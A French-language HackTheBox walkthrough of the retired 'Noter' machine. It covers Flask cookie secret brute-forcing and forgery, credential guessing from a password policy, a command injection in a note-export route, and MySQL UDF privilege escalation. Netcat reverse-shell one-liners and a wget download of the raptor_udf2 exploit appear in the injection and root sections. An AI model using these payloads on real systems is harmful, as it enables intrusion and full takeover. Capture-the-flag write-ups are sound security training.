Noter
Noter est une box de niveau Moyen sortie sur HackTheBox le 7 mai 2022 et retirée des machines “actives” le 3 septembre 2022. Il s’agit d’un environnement Web Flask (Python) hébergé sur un OS Linux.
Cet article retrace uniquement les étapes nécessaires à la compromission de la Machine Virtuelle et ne présente volontairement pas la méthodologie complète utilisée.
Nmap
Tout d’abord, le scan Nmap nous donne 3 ports ouverts :
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Les ports FTP et SSH ne nous donnent rien d’intéressant pour le moment (pas de vulnérabilités connues sur ces versions, pas de login anonymous etc), on cherche donc sur le serveur web.
Web
L’interface web nous propose de nous connecter ou de créer un compte pour accéder à une interface de gestion de notes.
La première chose à remarquer ici est qu’il est possible d’énumérer les comptes existant via le message d’erreur à la connexion. En effet pour un compte existant le message est “Invalid login”, sinon “Invalid Credentials”.
On se crée donc un compte et on remarque qu’en plus de la gestion de notes, il y a une page “VIP” qui nous est inaccessible pour le moment. De plus la fonctionnalité permettant d’upgrade notre compte n’est “actuellement pas disponible”.
Premier réflexe en connaissant le backend -> Tentative de SSTI dans les notes, sans succès.
Deuxième possibilité -> Regarder le cookie de session.
Connexion VIP
Avec l’outil jwt.io, on voit que le cookie contient les variables logged_in
et username
. Ce qui est très intéressant ici car on peut énumérer les utilisateurs existants avec le message d’erreur présent à la connexion !
On va donc essayer de trouver un compte avec des privilèges VIP et forger un cookie de session.
Tout d’abord, pour vérifier la faisabilité de cette hypothèse, on va utiliser l’outil “flask-unsign” avec la wordlist rockyou pour bruteforcer le secret du cookie :
flask-unsign --wordlist /usr/share/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZmxvY3ppaSJ9.YxR_9w.DMsVb1-YSTRqVFLC3nFiRqOwI4Y' --no-literal-eval
Ce qui nous donne :
On a donc trouvé le secret utilisé pour générer les cookies, secret123
.
Maintenant, il faut trouver un compte utilisateur existant sur l’application. Une rapide énumération avec l’Intruder Burp et une wordlist de noms nous indique la présence de l’utilisateur blue.
On a ce qu’il faut pour se connecter en tant que blue, générons le cookie associé :
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
Qui nous donne le cookie à remplacer : eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YxSGMA.BwoOhPrxwyGHnlpYozFCj44lKf0
.
Récupération des notes de blue
Nous voilà connectés en tant que blue qui a un accès VIP à l’application.
On voit 2 fonctionnalités supplémentaires sur l’application, l’import et l’export de notes. L’import prend en paramètre une URL avec un fichier “.md”, et l’export génère un PDF à partir d’une note enregistrée ou d’une URL également. Nous reviendrons sur ces fonctionnalités plus tard.
2 notes sont disponibles pour blue :
La note “Before the weekend” contient 2 instructions :
- Delete the password note
- Ask the admin team to change the password
La note “Noter Premium Membership” est un message de l’utilisateur ftp_admin qui indique que le statut VIP donne accès au service FTP de la machine, avec les identifiants blue:blue@Noter!
:
Accès FTP
On se connecte donc au FTP avec les identifiants fournis, nous avons accès à 2 choses :
- Un dossier
files
vide dans lequel nous pouvons apparemment stocker des fichiers comme l’incite l’accès VIP. - Un fichier
policy.pdf
Le fichier policy.pdf
contient la politique de mots de passe de Noter :
La partie intéressante ici est la politique de création de mot de passe pour un nouvel utilisateur, qui indique que celui-ci est de la forme username@site_name!
.
Le mot de passe de blue était bien blue@Noter!
, et nous avons remarqué précédemment la présence de l’utilisateur ftp_admin.
On essaye de se connecter au FTP en tant que ftp_admin avec le mot de passe ftp_admin@Noter!
: ça fonctionne !
Analyse de sauvegardes
L’utilisateur ftp_admin a accès à 2 fichiers de sauvegarde sur le serveur FTP :
Ces sauvegardes datent respectivement du 1er novembre et 1er décembre 2021.
La commande diff
sur les dossiers extraits des archives montre 2 choses :
- Tout d’abord, les identifiants de la base de données inscrits en dur ont été remplacés par des variables :
On note donc root:Nildogg36
, qui pourra nous servir plus tard.
- Ensuite, depuis décembre l’application possède 4 routes en plus :
- export_note
- export_note_local
- export_note_remote
- import_note
En analysant notamment la route export_note_remote
, on se rend compte qu’une injection de code est possible lors de l’export de la note :
A la ligne 308, le contenu de la note est passé en paramètre à une commande qui appelle un script externe pour générer un pdf.
Ce contenu n’est pas filtré et une payload de ce type permet donc d’injecter une commande : '; CMD;#
.
Reverse shell
Pour exploiter l’injection de commande, on prépare donc un fichier MarkDown (.md) avec le contenu suivant (reverse shell) :
'; rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f;#
On prépare un serveur web en écoute pour mettre à disposition ce fichier :
python3 -m http.server
On lance le listener qui recevra la connexion :
nc -lvp 4444
Puis on va export la note de notre serveur Web, dont le contenu sera exécuté et qui nous donnera un accès au serveur :
On clique sur “Export”, et on récupère notre reverse shell en tant que svc :
On peut collecter le flag de l’utilisateur dans /home/svc/user.txt
.
Root
Les outils classiques d’énumération pour l’escalade de privilèges ne donnent rien de concluant.
On se rappelle alors des identifiants récupérés dans la sauvegarde du mois de novembre, à savoir les identifiants de la base de données MySQL : root:Nildogg36
.
De plus, le service MySQL tourne en tant que root sur le système.
Ces identifiants fonctionnent toujours et nous pouvons accéder à la base de données du serveur. Cependant nous ne trouvons pas davantage d’informations intéressantes, et le cassage du hash du mot de passe de blue ne donne rien.
Après quelques recherches sur ce qu’il est possible de faire en tant qu’utilisateur root d’une base de données MySQL tournant également sous root, on tombe sur cet article :
https://redteamnation.com/mysql-user-defined-functions/
L’idée est d’utiliser les UDF (User Defined Functions) pour exécuter du code en tant que la base de données (tournant sous root), à l’aide d’une bibliothèque spécifique (https://www.exploit-db.com/exploits/1518).
On suit donc les étapes indiquées dans l’article, à savoir :
- Télécharger la bibliothèque qui permettra d’exécuter des commandes dans le contexte d’une requête SQL (depuis la machine attaquant) :
wget http://0xdeadbeef.info/exploits/raptor_udf2.c
- La compiler :
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
- La transférer sur la machine Noter (On se retrouve donc avec un fichier
raptor_udf2.so
, ici placé dans/tmp
) - Se connecter à la base de données en tant que root avec le mot de passe
Nildogg36
:
mysql -u root -p
- Sélectionner la base de données
mysql
:
use mysql;
- Créer une table temporaire :
create table foo(line blob);
- Y charger la bibliothèque raptor :
insert into foo values(load_file('/tmp/raptor_udf2.so'));
- Trouver l’emplacement des plugins (ici
/usr/lib/x86_64-linux-gnu/mariadb19/plugin/
) :
show variables like '%plugin%';
- Y insérer la bibliothèque raptor :
select * from foo into dumpfile "/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so";
- Créer la fonction pour exécuter des commandes :
create function do_system returns integer soname 'raptor_udf2.so';
- Vérifier la présence de la fonction :
select * from mysql.func;
- Exécuter des commandes en tant que root, pour lire les fichiers ou obtenir un accès via un autre reverse shell :
select do_system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f');
Et nous voilà root ! :)
Plus qu’à récupérer le flag dans /root/root.txt
.